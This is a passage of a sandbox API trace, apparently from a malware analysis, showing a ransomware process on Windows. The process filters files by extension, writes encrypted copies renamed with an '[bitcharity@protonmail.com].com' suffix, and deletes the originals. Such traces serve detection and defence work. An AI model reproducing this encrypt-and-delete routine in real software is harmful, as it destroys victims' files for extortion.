74 [0294.401] lstrlenW (lpString=".1cd") returned 4 [0294.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.401] lstrlenW (lpString=".jpg") returned 4 [0294.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.401] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.401] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0294.401] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=10752) returned 1 [0294.401] CloseHandle (hObject=0x10b4) returned 1 [0294.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0294.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.402] lstrlenW (lpString=".doc") returned 4 [0294.402] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.402] lstrlenW (lpString=".docx") returned 5 [0294.402] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.402] lstrlenW (lpString=".pdf") returned 4 [0294.402] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.402] lstrlenW (lpString=".xls") returned 4 [0294.402] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.402] lstrlenW (lpString=".xlsx") returned 5 [0294.402] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.402] lstrlenW (lpString=".ppt") returned 4 [0294.402] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.402] lstrlenW (lpString=".zip") returned 4 [0294.402] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.402] lstrlenW (lpString=".rar") returned 4 [0294.402] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.402] lstrlenW (lpString=".bz2") returned 4 [0294.402] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.403] lstrlenW (lpString=".7z") returned 3 [0294.403] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString=".dbf") returned 4 [0294.403] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString=".1cd") returned 4 [0294.403] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString=".jpg") returned 4 [0294.403] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString=".doc") returned 4 [0294.403] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.403] lstrlenW (lpString=".docx") returned 5 [0294.403] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.403] lstrlenW (lpString=".pdf") returned 4 [0294.403] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.403] lstrlenW (lpString=".xls") returned 4 [0294.403] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.403] lstrlenW (lpString=".xlsx") returned 5 [0294.403] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.403] lstrlenW (lpString=".ppt") returned 4 [0294.403] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.403] lstrlenW (lpString=".zip") returned 4 [0294.404] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.404] lstrlenW (lpString=".rar") returned 4 [0294.404] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.404] lstrlenW (lpString=".bz2") returned 4 [0294.404] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.404] lstrlenW (lpString=".7z") returned 3 [0294.404] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.404] lstrlenW (lpString=".dbf") returned 4 [0294.404] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.404] lstrlenW (lpString=".1cd") returned 4 [0294.404] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0294.404] lstrlenW (lpString=".jpg") returned 4 [0294.404] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.404] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.404] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0294.405] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=10752) returned 1 [0294.405] CloseHandle (hObject=0x10b4) returned 1 [0294.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0294.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.405] lstrlenW (lpString=".doc") returned 4 [0294.405] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.405] lstrlenW (lpString=".docx") returned 5 [0294.405] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.405] lstrlenW (lpString=".pdf") returned 4 [0294.405] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.405] lstrlenW (lpString=".xls") returned 4 [0294.405] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.405] lstrlenW (lpString=".xlsx") returned 5 [0294.405] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.405] lstrlenW (lpString=".ppt") returned 4 [0294.405] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.405] lstrlenW (lpString=".zip") returned 4 [0294.405] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.406] lstrlenW (lpString=".rar") returned 4 [0294.406] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.406] lstrlenW (lpString=".bz2") returned 4 [0294.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.406] lstrlenW (lpString=".7z") returned 3 [0294.406] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.406] lstrlenW (lpString=".dbf") returned 4 [0294.406] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.406] lstrlenW (lpString=".1cd") returned 4 [0294.406] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.406] lstrlenW (lpString=".jpg") returned 4 [0294.406] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.406] lstrlenW (lpString=".doc") returned 4 [0294.406] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.406] lstrlenW (lpString=".docx") returned 5 [0294.406] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.406] lstrlenW (lpString=".pdf") returned 4 [0294.406] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.406] lstrlenW (lpString=".xls") returned 4 [0294.406] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.406] lstrlenW (lpString=".xlsx") returned 5 [0294.406] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.407] lstrlenW (lpString=".ppt") returned 4 [0294.407] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.407] lstrlenW (lpString=".zip") returned 4 [0294.407] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.407] lstrlenW (lpString=".rar") returned 4 [0294.407] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.407] lstrlenW (lpString=".bz2") returned 4 [0294.407] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.407] lstrlenW (lpString=".7z") returned 3 [0294.407] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.672] lstrlenW (lpString=".dbf") returned 4 [0294.672] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.672] lstrlenW (lpString=".1cd") returned 4 [0294.672] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0294.672] lstrlenW (lpString=".jpg") returned 4 [0294.672] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.673] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0294.673] lstrlenW (lpString="pidgenx.dll") returned 11 [0294.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0294.674] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=1475160) returned 1 [0294.674] CloseHandle (hObject=0x10b4) returned 1 [0294.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0294.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0294.674] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.674] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0294.675] GetLastError () returned 0x0 [0294.675] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0295.346] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0296.379] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x68268, lpOverlapped=0x0) returned 1 [0296.392] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x68270, lpOverlapped=0x0) returned 1 [0296.400] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.400] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xea, lpOverlapped=0x0) returned 1 [0296.401] SetEndOfFile (hFile=0x1084) returned 1 [0296.401] CloseHandle (hObject=0x1084) returned 1 [0296.401] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.401] SetEndOfFile (hFile=0x10b4) returned 1 [0296.404] CloseHandle (hObject=0x10b4) returned 1 [0296.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.405] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0296.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.405] lstrlenW (lpString=".doc") returned 4 [0296.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString=".docx") returned 5 [0296.405] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0296.405] lstrlenW (lpString=".pdf") returned 4 [0296.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString=".xls") returned 4 [0296.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString=".xlsx") returned 5 [0296.405] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0296.405] lstrlenW (lpString=".ppt") returned 4 [0296.405] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.405] lstrlenW (lpString=".zip") returned 4 [0296.405] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString=".rar") returned 4 [0296.405] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.405] lstrlenW (lpString=".bz2") returned 4 [0296.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.405] lstrlenW (lpString=".7z") returned 3 [0296.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".dbf") returned 4 [0296.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".1cd") returned 4 [0296.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".jpg") returned 4 [0296.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".doc") returned 4 [0296.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString=".docx") returned 5 [0296.406] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0296.406] lstrlenW (lpString=".pdf") returned 4 [0296.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString=".xls") returned 4 [0296.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString=".xlsx") returned 5 [0296.406] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0296.406] lstrlenW (lpString=".ppt") returned 4 [0296.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".zip") returned 4 [0296.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString=".rar") returned 4 [0296.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.406] lstrlenW (lpString=".bz2") returned 4 [0296.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.406] lstrlenW (lpString=".7z") returned 3 [0296.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.406] lstrlenW (lpString=".dbf") returned 4 [0296.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.407] lstrlenW (lpString=".1cd") returned 4 [0296.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0296.407] lstrlenW (lpString=".jpg") returned 4 [0296.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.407] lstrcmpiW (lpString1=".tlb", lpString2=".com") returned 1 [0296.407] lstrlenW (lpString="vstoee90.tlb") returned 12 [0296.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0296.408] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=22680) returned 1 [0296.408] CloseHandle (hObject=0x10b4) returned 1 [0296.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0296.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0296.408] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.408] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0296.409] GetLastError () returned 0x0 [0296.409] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x5898, lpOverlapped=0x0) returned 1 [0296.525] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x58a0, lpOverlapped=0x0) returned 1 [0296.527] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.527] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.527] SetEndOfFile (hFile=0x1084) returned 1 [0296.527] CloseHandle (hObject=0x1084) returned 1 [0296.527] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.527] SetEndOfFile (hFile=0x10b4) returned 1 [0296.528] CloseHandle (hObject=0x10b4) returned 1 [0296.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0296.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.528] lstrlenW (lpString=".doc") returned 4 [0296.528] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.528] lstrlenW (lpString=".docx") returned 5 [0296.528] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.528] lstrlenW (lpString=".pdf") returned 4 [0296.528] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString=".xls") returned 4 [0296.529] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.529] lstrlenW 